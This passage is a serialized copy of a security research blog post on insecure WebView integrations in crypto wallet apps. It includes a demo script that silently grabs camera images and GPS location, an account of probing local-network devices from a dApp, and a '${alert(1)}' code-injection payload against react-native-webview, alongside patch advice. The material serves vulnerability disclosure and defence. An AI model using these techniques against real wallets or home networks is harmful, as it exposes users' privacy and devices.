video",{"type":24,"tag":90,"props":159669,"children":159670},{"style":120},[159671],{"type":29,"value":226},{"type":24,"tag":90,"props":159673,"children":159674},{"style":108},[159675],{"type":29,"value":159676},"play",{"type":24,"tag":90,"props":159678,"children":159679},{"style":120},[159680],{"type":29,"value":236},{"type":24,"tag":90,"props":159682,"children":159683},{"class":92,"line":25357},[159684],{"type":24,"tag":90,"props":159685,"children":159686},{"emptyLinePlaceholder":16},[159687],{"type":29,"value":245},{"type":24,"tag":90,"props":159689,"children":159690},{"class":92,"line":25366},[159691,159695,159699,159704,159708,159713,159717,159722,159726,159730,159734,159738,159742,159746],{"type":24,"tag":90,"props":159692,"children":159693},{"style":136},[159694],{"type":29,"value":159545},{"type":24,"tag":90,"props":159696,"children":159697},{"style":120},[159698],{"type":29,"value":226},{"type":24,"tag":90,"props":159700,"children":159701},{"style":108},[159702],{"type":29,"value":159703},"getContext",{"type":24,"tag":90,"props":159705,"children":159706},{"style":120},[159707],{"type":29,"value":117},{"type":24,"tag":90,"props":159709,"children":159710},{"style":1085},[159711],{"type":29,"value":159712},"\"2d\"",{"type":24,"tag":90,"props":159714,"children":159715},{"style":120},[159716],{"type":29,"value":22538},{"type":24,"tag":90,"props":159718,"children":159719},{"style":108},[159720],{"type":29,"value":159721},"drawImage",{"type":24,"tag":90,"props":159723,"children":159724},{"style":120},[159725],{"type":29,"value":117},{"type":24,"tag":90,"props":159727,"children":159728},{"style":136},[159729],{"type":29,"value":133688},{"type":24,"tag":90,"props":159731,"children":159732},{"style":120},[159733],{"type":29,"value":133},{"type":24,"tag":90,"props":159735,"children":159736},{"style":349},[159737],{"type":29,"value":6408},{"type":24,"tag":90,"props":159739,"children":159740},{"style":120},[159741],{"type":29,"value":133},{"type":24,"tag":90,"props":159743,"children":159744},{"style":349},[159745],{"type":29,"value":6408},{"type":24,"tag":90,"props":159747,"children":159748},{"style":120},[159749],{"type":29,"value":571},{"type":24,"tag":90,"props":159751,"children":159752},{"class":92,"line":25408},[159753,159758,159762,159767,159771,159776,159780,159784,159788,159793,159797,159802],{"type":24,"tag":90,"props":159754,"children":159755},{"style":136},[159756],{"type":29,"value":159757}," stream",{"type":24,"tag":90,"props":159759,"children":159760},{"style":120},[159761],{"type":29,"value":226},{"type":24,"tag":90,"props":159763,"children":159764},{"style":108},[159765],{"type":29,"value":159766},"getTracks",{"type":24,"tag":90,"props":159768,"children":159769},{"style":120},[159770],{"type":29,"value":31980},{"type":24,"tag":90,"props":159772,"children":159773},{"style":108},[159774],{"type":29,"value":159775},"forEach",{"type":24,"tag":90,"props":159777,"children":159778},{"style":120},[159779],{"type":29,"value":117},{"type":24,"tag":90,"props":159781,"children":159782},{"style":136},[159783],{"type":29,"value":23526},{"type":24,"tag":90,"props":159785,"children":159786},{"style":97},[159787],{"type":29,"value":29562},{"type":24,"tag":90,"props":159789,"children":159790},{"style":136},[159791],{"type":29,"value":159792}," t",{"type":24,"tag":90,"props":159794,"children":159795},{"style":120},[159796],{"type":29,"value":226},{"type":24,"tag":90,"props":159798,"children":159799},{"style":108},[159800],{"type":29,"value":159801},"stop",{"type":24,"tag":90,"props":159803,"children":159804},{"style":120},[159805],{"type":29,"value":1928},{"type":24,"tag":90,"props":159807,"children":159808},{"class":92,"line":25441},[159809,159813,159817,159822,159826,159830,159834,159838],{"type":24,"tag":90,"props":159810,"children":159811},{"style":136},[159812],{"type":29,"value":159545},{"type":24,"tag":90,"props":159814,"children":159815},{"style":120},[159816],{"type":29,"value":226},{"type":24,"tag":90,"props":159818,"children":159819},{"style":108},[159820],{"type":29,"value":159821},"toBlob",{"type":24,"tag":90,"props":159823,"children":159824},{"style":120},[159825],{"type":29,"value":33336},{"type":24,"tag":90,"props":159827,"children":159828},{"style":136},[159829],{"type":29,"value":34762},{"type":24,"tag":90,"props":159831,"children":159832},{"style":120},[159833],{"type":29,"value":172},{"type":24,"tag":90,"props":159835,"children":159836},{"style":97},[159837],{"type":29,"value":1315},{"type":24,"tag":90,"props":159839,"children":159840},{"style":120},[159841],{"type":29,"value":269},{"type":24,"tag":90,"props":159843,"children":159844},{"class":92,"line":25449},[159845,159850,159854,159858,159862,159867,159871,159876,159880,159884],{"type":24,"tag":90,"props":159846,"children":159847},{"style":136},[159848],{"type":29,"value":159849}," pic",{"type":24,"tag":90,"props":159851,"children":159852},{"style":120},[159853],{"type":29,"value":226},{"type":24,"tag":90,"props":159855,"children":159856},{"style":136},[159857],{"type":29,"value":34483},{"type":24,"tag":90,"props":159859,"children":159860},{"style":120},[159861],{"type":29,"value":34725},{"type":24,"tag":90,"props":159863,"children":159864},{"style":136},[159865],{"type":29,"value":159866},"URL",{"type":24,"tag":90,"props":159868,"children":159869},{"style":120},[159870],{"type":29,"value":226},{"type":24,"tag":90,"props":159872,"children":159873},{"style":108},[159874],{"type":29,"value":159875},"createObjectURL",{"type":24,"tag":90,"props":159877,"children":159878},{"style":120},[159879],{"type":29,"value":117},{"type":24,"tag":90,"props":159881,"children":159882},{"style":136},[159883],{"type":29,"value":34762},{"type":24,"tag":90,"props":159885,"children":159886},{"style":120},[159887],{"type":29,"value":571},{"type":24,"tag":90,"props":159889,"children":159890},{"class":92,"line":25457},[159891],{"type":24,"tag":90,"props":159892,"children":159893},{"style":120},[159894],{"type":29,"value":159895}," });\n",{"type":24,"tag":90,"props":159897,"children":159898},{"class":92,"line":25466},[159899],{"type":24,"tag":90,"props":159900,"children":159901},{"emptyLinePlaceholder":16},[159902],{"type":29,"value":245},{"type":24,"tag":90,"props":159904,"children":159905},{"class":92,"line":25542},[159906,159911,159915,159920,159924,159929,159933,159938,159942],{"type":24,"tag":90,"props":159907,"children":159908},{"style":136},[159909],{"type":29,"value":159910}," navigator",{"type":24,"tag":90,"props":159912,"children":159913},{"style":120},[159914],{"type":29,"value":226},{"type":24,"tag":90,"props":159916,"children":159917},{"style":136},[159918],{"type":29,"value":159919},"geolocation",{"type":24,"tag":90,"props":159921,"children":159922},{"style":120},[159923],{"type":29,"value":226},{"type":24,"tag":90,"props":159925,"children":159926},{"style":108},[159927],{"type":29,"value":159928},"getCurrentPosition",{"type":24,"tag":90,"props":159930,"children":159931},{"style":120},[159932],{"type":29,"value":117},{"type":24,"tag":90,"props":159934,"children":159935},{"style":136},[159936],{"type":29,"value":159937},"pos",{"type":24,"tag":90,"props":159939,"children":159940},{"style":97},[159941],{"type":29,"value":29562},{"type":24,"tag":90,"props":159943,"children":159944},{"style":120},[159945],{"type":29,"value":269},{"type":24,"tag":90,"props":159947,"children":159948},{"class":92,"line":25575},[159949,159954,159958,159962,159966,159970,159975],{"type":24,"tag":90,"props":159950,"children":159951},{"style":97},[159952],{"type":29,"value":159953}," const",{"type":24,"tag":90,"props":159955,"children":159956},{"style":136},[159957],{"type":29,"value":39261},{"type":24,"tag":90,"props":159959,"children":159960},{"style":120},[159961],{"type":29,"value":34725},{"type":24,"tag":90,"props":159963,"children":159964},{"style":136},[159965],{"type":29,"value":159937},{"type":24,"tag":90,"props":159967,"children":159968},{"style":120},[159969],{"type":29,"value":226},{"type":24,"tag":90,"props":159971,"children":159972},{"style":136},[159973],{"type":29,"value":159974},"coords",{"type":24,"tag":90,"props":159976,"children":159977},{"style":120},[159978],{"type":29,"value":381},{"type":24,"tag":90,"props":159980,"children":159981},{"class":92,"line":25583},[159982,159987,159991,159995,159999,160004,160008,160012,160016,160021,160025,160030,160034,160038,160042,160046,160050,160055,160059,160063,160067,160072,160076,160080,160084,160088,160092,160096,160100],{"type":24,"tag":90,"props":159983,"children":159984},{"style":136},[159985],{"type":29,"value":159986}," gps",{"type":24,"tag":90,"props":159988,"children":159989},{"style":120},[159990],{"type":29,"value":226},{"type":24,"tag":90,"props":159992,"children":159993},{"style":136},[159994],{"type":29,"value":36779},{"type":24,"tag":90,"props":159996,"children":159997},{"style":120},[159998],{"type":29,"value":34725},{"type":24,"tag":90,"props":160000,"children":160001},{"style":1085},[160002],{"type":29,"value":160003},"`Lat: ",{"type":24,"tag":90,"props":160005,"children":160006},{"style":97},[160007],{"type":29,"value":35923},{"type":24,"tag":90,"props":160009,"children":160010},{"style":136},[160011],{"type":29,"value":3030},{"type":24,"tag":90,"props":160013,"children":160014},{"style":120},[160015],{"type":29,"value":226},{"type":24,"tag":90,"props":160017,"children":160018},{"style":136},[160019],{"type":29,"value":160020},"latitude",{"type":24,"tag":90,"props":160022,"children":160023},{"style":120},[160024],{"type":29,"value":226},{"type":24,"tag":90,"props":160026,"children":160027},{"style":108},[160028],{"type":29,"value":160029},"toFixed",{"type":24,"tag":90,"props":160031,"children":160032},{"style":120},[160033],{"type":29,"value":117},{"type":24,"tag":90,"props":160035,"children":160036},{"style":349},[160037],{"type":29,"value":534},{"type":24,"tag":90,"props":160039,"children":160040},{"style":120},[160041],{"type":29,"value":517},{"type":24,"tag":90,"props":160043,"children":160044},{"style":97},[160045],{"type":29,"value":35955},{"type":24,"tag":90,"props":160047,"children":160048},{"style":50196},[160049],{"type":29,"value":50199},{"type":24,"tag":90,"props":160051,"children":160052},{"style":1085},[160053],{"type":29,"value":160054},"Lon: ",{"type":24,"tag":90,"props":160056,"children":160057},{"style":97},[160058],{"type":29,"value":35923},{"type":24,"tag":90,"props":160060,"children":160061},{"style":136},[160062],{"type":29,"value":3030},{"type":24,"tag":90,"props":160064,"children":160065},{"style":120},[160066],{"type":29,"value":226},{"type":24,"tag":90,"props":160068,"children":160069},{"style":136},[160070],{"type":29,"value":160071},"longitude",{"type":24,"tag":90,"props":160073,"children":160074},{"style":120},[160075],{"type":29,"value":226},{"type":24,"tag":90,"props":160077,"children":160078},{"style":108},[160079],{"type":29,"value":160029},{"type":24,"tag":90,"props":160081,"children":160082},{"style":120},[160083],{"type":29,"value":117},{"type":24,"tag":90,"props":160085,"children":160086},{"style":349},[160087],{"type":29,"value":534},{"type":24,"tag":90,"props":160089,"children":160090},{"style":120},[160091],{"type":29,"value":517},{"type":24,"tag":90,"props":160093,"children":160094},{"style":97},[160095],{"type":29,"value":35955},{"type":24,"tag":90,"props":160097,"children":160098},{"style":1085},[160099],{"type":29,"value":12750},{"type":24,"tag":90,"props":160101,"children":160102},{"style":120},[160103],{"type":29,"value":381},{"type":24,"tag":90,"props":160105,"children":160106},{"class":92,"line":25591},[160107,160112,160116,160120,160125,160129,160133],{"type":24,"tag":90,"props":160108,"children":160109},{"style":120},[160110],{"type":29,"value":160111}," }, ",{"type":24,"tag":90,"props":160113,"children":160114},{"style":136},[160115],{"type":29,"value":50243},{"type":24,"tag":90,"props":160117,"children":160118},{"style":97},[160119],{"type":29,"value":29562},{"type":24,"tag":90,"props":160121,"children":160122},{"style":108},[160123],{"type":29,"value":160124}," alert",{"type":24,"tag":90,"props":160126,"children":160127},{"style":120},[160128],{"type":29,"value":117},{"type":24,"tag":90,"props":160130,"children":160131},{"style":136},[160132],{"type":29,"value":50243},{"type":24,"tag":90,"props":160134,"children":160135},{"style":120},[160136],{"type":29,"value":9605},{"type":24,"tag":90,"props":160138,"children":160139},{"class":92,"line":25628},[160140],{"type":24,"tag":90,"props":160141,"children":160142},{"style":120},[160143],{"type":29,"value":49897},{"type":24,"tag":90,"props":160145,"children":160146},{"class":92,"line":25641},[160147],{"type":24,"tag":90,"props":160148,"children":160149},{"emptyLinePlaceholder":16},[160150],{"type":29,"value":245},{"type":24,"tag":90,"props":160152,"children":160153},{"class":92,"line":25654},[160154],{"type":24,"tag":90,"props":160155,"children":160156},{"style":120},[160157],{"type":29,"value":5740},{"type":24,"tag":90,"props":160159,"children":160160},{"class":92,"line":25667},[160161,160166],{"type":24,"tag":90,"props":160162,"children":160163},{"style":108},[160164],{"type":29,"value":160165}," main",{"type":24,"tag":90,"props":160167,"children":160168},{"style":120},[160169],{"type":29,"value":236},{"type":24,"tag":90,"props":160171,"children":160172},{"class":92,"line":25721},[160173,160177,160181],{"type":24,"tag":90,"props":160174,"children":160175},{"style":34189},[160176],{"type":29,"value":34642},{"type":24,"tag":90,"props":160178,"children":160179},{"style":97},[160180],{"type":29,"value":34229},{"type":24,"tag":90,"props":160182,"children":160183},{"style":34189},[160184],{"type":29,"value":8377},{"type":24,"tag":90,"props":160186,"children":160187},{"class":92,"line":25730},[160188,160192,160196],{"type":24,"tag":90,"props":160189,"children":160190},{"style":34189},[160191],{"type":29,"value":34243},{"type":24,"tag":90,"props":160193,"children":160194},{"style":97},[160195],{"type":29,"value":34213},{"type":24,"tag":90,"props":160197,"children":160198},{"style":34189},[160199],{"type":29,"value":8377},{"type":24,"tag":90,"props":160201,"children":160202},{"class":92,"line":34094},[160203,160207,160211],{"type":24,"tag":90,"props":160204,"children":160205},{"style":34189},[160206],{"type":29,"value":34243},{"type":24,"tag":90,"props":160208,"children":160209},{"style":97},[160210],{"type":29,"value":34196},{"type":24,"tag":90,"props":160212,"children":160213},{"style":34189},[160214],{"type":29,"value":8377},{"type":24,"tag":20686,"props":160216,"children":160217},{"id":6612},[160218],{"type":29,"value":6615},{"type":24,"tag":25,"props":160220,"children":160221},{},[160222],{"type":29,"value":160223},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":24,"tag":25,"props":160225,"children":160226},{},[160227,160229,160235],{"type":29,"value":160228},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":24,"tag":69,"props":160230,"children":160233},{"href":160231,"rel":160232},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[73],[160234],{"type":29,"value":49407},{"type":29,"value":226},{"type":24,"tag":33159,"props":160237,"children":160238},{"style":33161},[160239],{"type":24,"tag":6301,"props":160240,"children":160244},{"src":160241,"alt":160242,"style":160243},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":160246,"children":160247},{},[160248],{"type":29,"value":160249},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":24,"tag":850,"props":160251,"children":160253},{"id":160252},"local-network-access",[160254],{"type":29,"value":160255},"Local Network Access",{"type":24,"tag":25,"props":160257,"children":160258},{},[160259,160261,160268,160270,160276],{"type":29,"value":160260},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":24,"tag":69,"props":160262,"children":160265},{"href":160263,"rel":160264},"https://wicg.github.io/private-network-access/",[73],[160266],{"type":29,"value":160267},"Private Network Access",{"type":29,"value":160269}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":24,"tag":69,"props":160271,"children":160274},{"href":160272,"rel":160273},"https://x.com/taviso/status/2051310678800253318",[73],[160275],{"type":29,"value":160272},{"type":29,"value":160277},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":24,"tag":33159,"props":160279,"children":160280},{"style":33161},[160281],{"type":24,"tag":6301,"props":160282,"children":160285},{"src":160283,"alt":160242,"style":160284},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":160287,"children":160288},{},[160289],{"type":29,"value":160290},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":24,"tag":160292,"props":160293,"children":160296},"zoom-image",{"src":160294,"alt":160295},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":24,"tag":25,"props":160298,"children":160299},{},[160300],{"type":29,"value":160301},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":24,"tag":3207,"props":160303,"children":160304},{},[160305,160310,160315],{"type":24,"tag":3104,"props":160306,"children":160307},{},[160308],{"type":29,"value":160309},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":24,"tag":3104,"props":160311,"children":160312},{},[160313],{"type":29,"value":160314},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":24,"tag":3104,"props":160316,"children":160317},{},[160318],{"type":29,"value":160319},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":24,"tag":25,"props":160321,"children":160322},{},[160323],{"type":29,"value":160324},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":24,"tag":850,"props":160326,"children":160328},{"id":160327},"uxss-by-code-injection",[160329],{"type":29,"value":160330},"UXSS by Code Injection",{"type":24,"tag":25,"props":160332,"children":160333},{},[160334,160336,160342],{"type":29,"value":160335},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":24,"tag":32,"props":160337,"children":160339},{"className":160338},[],[160340],{"type":29,"value":160341},"injectJavascriptObject",{"type":29,"value":160343}," attribute worked. Here is the code snippet:",{"type":24,"tag":80,"props":160345,"children":160347},{"className":158583,"code":160346,"language":158585,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[160348],{"type":24,"tag":32,"props":160349,"children":160350},{"__ignoreMap":7},[160351,160371,160400,160434,160489,160594,160606,160619],{"type":24,"tag":90,"props":160352,"children":160353},{"class":92,"line":93},[160354,160358,160362,160367],{"type":24,"tag":90,"props":160355,"children":160356},{"style":97},[160357],{"type":29,"value":72611},{"type":24,"tag":90,"props":160359,"children":160360},{"style":146},[160361],{"type":29,"value":52873},{"type":24,"tag":90,"props":160363,"children":160364},{"style":108},[160365],{"type":29,"value":160366}," injectJavascriptObject",{"type":24,"tag":90,"props":160368,"children":160369},{"style":114},[160370],{"type":29,"value":2245},{"type":24,"tag":90,"props":160372,"children":160373},{"class":92,"line":200},[160374,160378,160382,160387,160391,160396],{"type":24,"tag":90,"props":160375,"children":160376},{"style":636},[160377],{"type":29,"value":41103},{"type":24,"tag":90,"props":160379,"children":160380},{"style":114},[160381],{"type":29,"value":1151},{"type":24,"tag":90,"props":160383,"children":160384},{"style":108},[160385],{"type":29,"value":160386},"getSettings",{"type":24,"tag":90,"props":160388,"children":160389},{"style":114},[160390],{"type":29,"value":31980},{"type":24,"tag":90,"props":160392,"children":160393},{"style":108},[160394],{"type":29,"value":160395},"getJavaScriptEnabled",{"type":24,"tag":90,"props":160397,"children":160398},{"style":114},[160399],{"type":29,"value":93851},{"type":24,"tag":90,"props":160401,"children":160402},{"class":92,"line":239},[160403,160408,160413,160417,160422,160426,160430],{"type":24,"tag":90,"props":160404,"children":160405},{"style":146},[160406],{"type":29,"value":160407}," String",{"type":24,"tag":90,"props":160409,"children":160410},{"style":136},[160411],{"type":29,"value":160412}," js",{"type":24,"tag":90,"props":160414,"children":160415},{"style":120},[160416],{"type":29,"value":216},{"type":24,"tag":90,"props":160418,"children":160419},{"style":1085},[160420],{"type":29,"value":160421}," \"(function(){",{"type":24,"tag":90,"props":160423,"children":160424},{"style":50196},[160425],{"type":29,"value":50199},{"type":24,"tag":90,"props":160427,"children":160428},{"style":1085},[160429],{"type":29,"value":21855},{"type":24,"tag":90,"props":160431,"children":160432},{"style":120},[160433],{"type":29,"value":12157},{"type":24,"tag":90,"props":160435,"children":160436},{"class":92,"line":248},[160437,160442,160446,160451,160455,160460,160464,160468,160472,160477,160481,160485],{"type":24,"tag":90,"props":160438,"children":160439},{"style":1085},[160440],{"type":29,"value":160441}," \" window.\"",{"type":24,"tag":90,"props":160443,"children":160444},{"style":120},[160445],{"type":29,"value":1714},{"type":24,"tag":90,"props":160447,"children":160448},{"style":114},[160449],{"type":29,"value":160450}," JAVASCRIPT_INTERFACE ",{"type":24,"tag":90,"props":160452,"children":160453},{"style":120},[160454],{"type":29,"value":6767},{"type":24,"tag":90,"props":160456,"children":160457},{"style":1085},[160458],{"type":29,"value":160459}," \" = window.\"",{"type":24,"tag":90,"props":160461,"children":160462},{"style":120},[160463],{"type":29,"value":1714},{"type":24,"tag":90,"props":160465,"children":160466},{"style":114},[160467],{"type":29,"value":160450},{"type":24,"tag":90,"props":160469,"children":160470},{"style":120},[160471],{"type":29,"value":6767},{"type":24,"tag":90,"props":160473,"children":160474},{"style":1085},[160475],{"type":29,"value":160476}," \" || {};",{"type":24,"tag":90,"props":160478,"children":160479},{"style":50196},[160480],{"type":29,"value":50199},{"type":24,"tag":90,"props":160482,"children":160483},{"style":1085},[160484],{"type":29,"value":21855},{"type":24,"tag":90,"props":160486,"children":160487},{"style":120},[160488],{"type":29,"value":12157},{"type":24,"tag":90,"props":160490,"children":160491},{"class":92,"line":258},[160492,160496,160500,160504,160508,160513,160517,160522,160526,160530,160534,160538,160542,160546,160551,160555,160560,160564,160569,160573,160577,160582,160586,160590],{"type":24,"tag":90,"props":160493,"children":160494},{"style":1085},[160495],{"type":29,"value":160441},{"type":24,"tag":90,"props":160497,"children":160498},{"style":120},[160499],{"type":29,"value":1714},{"type":24,"tag":90,"props":160501,"children":160502},{"style":114},[160503],{"type":29,"value":160450},{"type":24,"tag":90,"props":160505,"children":160506},{"style":120},[160507],{"type":29,"value":6767},{"type":24,"tag":90,"props":160509,"children":160510},{"style":1085},[160511],{"type":29,"value":160512}," \".injectedObjectJson = function () { return \"",{"type":24,"tag":90,"props":160514,"children":160515},{"style":120},[160516],{"type":29,"value":1714},{"type":24,"tag":90,"props":160518,"children":160519},{"style":114},[160520],{"type":29,"value":160521}," (injectedJavaScriptObject ",{"type":24,"tag":90,"props":160523,"children":160524},{"style":120},[160525],{"type":29,"value":10951},{"type":24,"tag":90,"props":160527,"children":160528},{"style":97},[160529],{"type":29,"value":72097},{"type":24,"tag":90,"props":160531,"children":160532},{"style":636},[160533],{"type":29,"value":99871},{"type":24,"tag":90,"props":160535,"children":160536},{"style":97},[160537],{"type":29,"value":72097},{"type":24,"tag":90,"props":160539,"children":160540},{"style":636},[160541],{"type":29,"value":36931},{"type":24,"tag":90,"props":160543,"children":160544},{"style":114},[160545],{"type":29,"value":1151},{"type":24,"tag":90,"props":160547,"children":160548},{"style":1085},[160549],{"type":29,"value":160550},"\"`\"",{"type":24,"tag":90,"props":160552,"children":160553},{"style":120},[160554],{"type":29,"value":1714},{"type":24,"tag":90,"props":160556,"children":160557},{"style":114},[160558],{"type":29,"value":160559}," injectedJavaScriptObject ",{"type":24,"tag":90,"props":160561,"children":160562},{"style":120},[160563],{"type":29,"value":6767},{"type":24,"tag":90,"props":160565,"children":160566},{"style":1085},[160567],{"type":29,"value":160568}," \"`\"",{"type":24,"tag":90,"props":160570,"children":160571},{"style":114},[160572],{"type":29,"value":11211},{"type":24,"tag":90,"props":160574,"children":160575},{"style":120},[160576],{"type":29,"value":6767},{"type":24,"tag":90,"props":160578,"children":160579},{"style":1085},[160580],{"type":29,"value":160581}," \"; };",{"type":24,"tag":90,"props":160583,"children":160584},{"style":50196},[160585],{"type":29,"value":50199},{"type":24,"tag":90,"props":160587,"children":160588},{"style":1085},[160589],{"type":29,"value":21855},{"type":24,"tag":90,"props":160591,"children":160592},{"style":120},[160593],{"type":29,"value":12157},{"type":24,"tag":90,"props":160595,"children":160596},{"class":92,"line":272},[160597,160602],{"type":24,"tag":90,"props":160598,"children":160599},{"style":1085},[160600],{"type":29,"value":160601}," \"})();\"",{"type":24,"tag":90,"props":160603,"children":160604},{"style":114},[160605],{"type":29,"value":381},{"type":24,"tag":90,"props":160607,"children":160608},{"class":92,"line":281},[160609,160614],{"type":24,"tag":90,"props":160610,"children":160611},{"style":108},[160612],{"type":29,"value":160613}," evaluateJavascriptWithFallback",{"type":24,"tag":90,"props":160615,"children":160616},{"style":114},[160617],{"type":29,"value":160618},"(js);\n",{"type":24,"tag":90,"props":160620,"children":160621},{"class":92,"line":384},[160622],{"type":24,"tag":90,"props":160623,"children":160624},{"style":114},[160625],{"type":29,"value":15030},{"type":24,"tag":25,"props":160627,"children":160628},{},[160629,160631,160637,160639,160644,160646,160652],{"type":29,"value":160630},"It basically injects a javascript code with the ",{"type":24,"tag":32,"props":160632,"children":160634},{"className":160633},[],[160635],{"type":29,"value":160636},"injectedJavascriptObject",{"type":29,"value":160638}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":24,"tag":32,"props":160640,"children":160642},{"className":160641},[],[160643],{"type":29,"value":160636},{"type":29,"value":160645},". If we control a single attribute we can inject a payload like ",{"type":24,"tag":32,"props":160647,"children":160649},{"className":160648},[],[160650],{"type":29,"value":160651},"${alert(1)}",{"type":29,"value":160653}," and achieve XSS in the context of the loaded page.",{"type":24,"tag":25,"props":160655,"children":160656},{},[160657,160659,160666],{"type":29,"value":160658},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":24,"tag":69,"props":160660,"children":160663},{"href":160661,"rel":160662},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[73],[160664],{"type":29,"value":160665},"PR with the report and fix",{"type":29,"value":226},{"type":24,"tag":25,"props":160668,"children":160669},{},[160670],{"type":29,"value":160671},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":24,"tag":25,"props":160673,"children":160674},{},[160675,160677,160683],{"type":29,"value":160676},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":24,"tag":32,"props":160678,"children":160680},{"className":160679},[],[160681],{"type":29,"value":160682},"injectedJavaScriptObject",{"type":29,"value":160684}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":24,"tag":1019,"props":160686,"children":160687},{"id":30743},[160688],{"type":29,"value":20741},{"type":24,"tag":25,"props":160690,"children":160691},{},[160692],{"type":29,"value":160693},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":24,"tag":5249,"props":160695,"children":160696},{},[160697],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":160699},[160700,160704,160707,160708],{"id":158423,"depth":200,"text":158426,"children":160701},[160702,160703],{"id":158434,"depth":239,"text":158437},{"id":158509,"depth":239,"text":158512},{"id":158542,"depth":200,"text":158545,"children":160705},[160706],{"id":158732,"depth":239,"text":158735},{"id":160252,"depth":200,"text":160255},{"id":160327,"depth":200,"text":160330,"children":160709},[160710],{"id":30743,"depth":239,"text":20741},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":160715,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160716,"description":160717,"date":160718,"author":160719,"image":160720,"isFeatured":16,"onBlogPage":16,"tags":160724,"hideToc":16,"body":160728,"_type":5270,"_id":167367,"_source":5272,"_file":167368,"_stem":167369,"_extension":5275},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":160721,"width":160722,"height":160723},"/posts/hyperliquid-risk-engine/title.png",1456,816,[160725,160726,160727],"hyperliquid","reverse-engineering","defi",{"type":21,"children":160729,"toc":167339},[160730,160736,160744,160749,160754,160759,160771,160776,160789,160808,160814,160826,160839,160844,160875,160880,160893,160898,161089,161095,161100,161112,161118,161123,161129,161142,161176,161181,161186,161198,161204,161224,161232,161245,161251,161262,161268,161280,161285,161291,161311,161319,161325,161359,161363,161399,161404,161409,161414,161427,161464,161469,161483,161489,161494,161520,161528,161533,161561,161566,161571,161909,161914,161919,161939,161966,161971,161984,161996,162001,162006,162012,162017,162022,162036,162041,162047,162075,162112,162123,162127,162132,162137,162143,162309,162344,162349,162355,162361,162550,162563,162568,162574,162595,162600,162606,162611,162616,162628,162633,162638,162644,162649,162654,162660,162666,162679,162712,162717,165293,165561,165566,166896,166901,166906,166918,167009,167021,167026,167032,167037,167045,167050,167058,167064,167098,167109,167117,167123,167129,167134,167142,167147,167152,167160,167172,167178,167183,167189,167200,167205,167211,167216,167221,167227,167232,167235,167240,167245,167251,167256,167268,167273,167278],{"type":24,"tag":850,"props":160731,"children":160733},{"id":160732},"perpetuals",[160734],{"type":29,"value":160735},"Perpetuals",{"type":24,"tag":5339,"props":160737,"children":160738},{},[160739],{"type":24,"tag":25,"props":160740,"children":160741},{},[160742],{"type":29,"value":160743},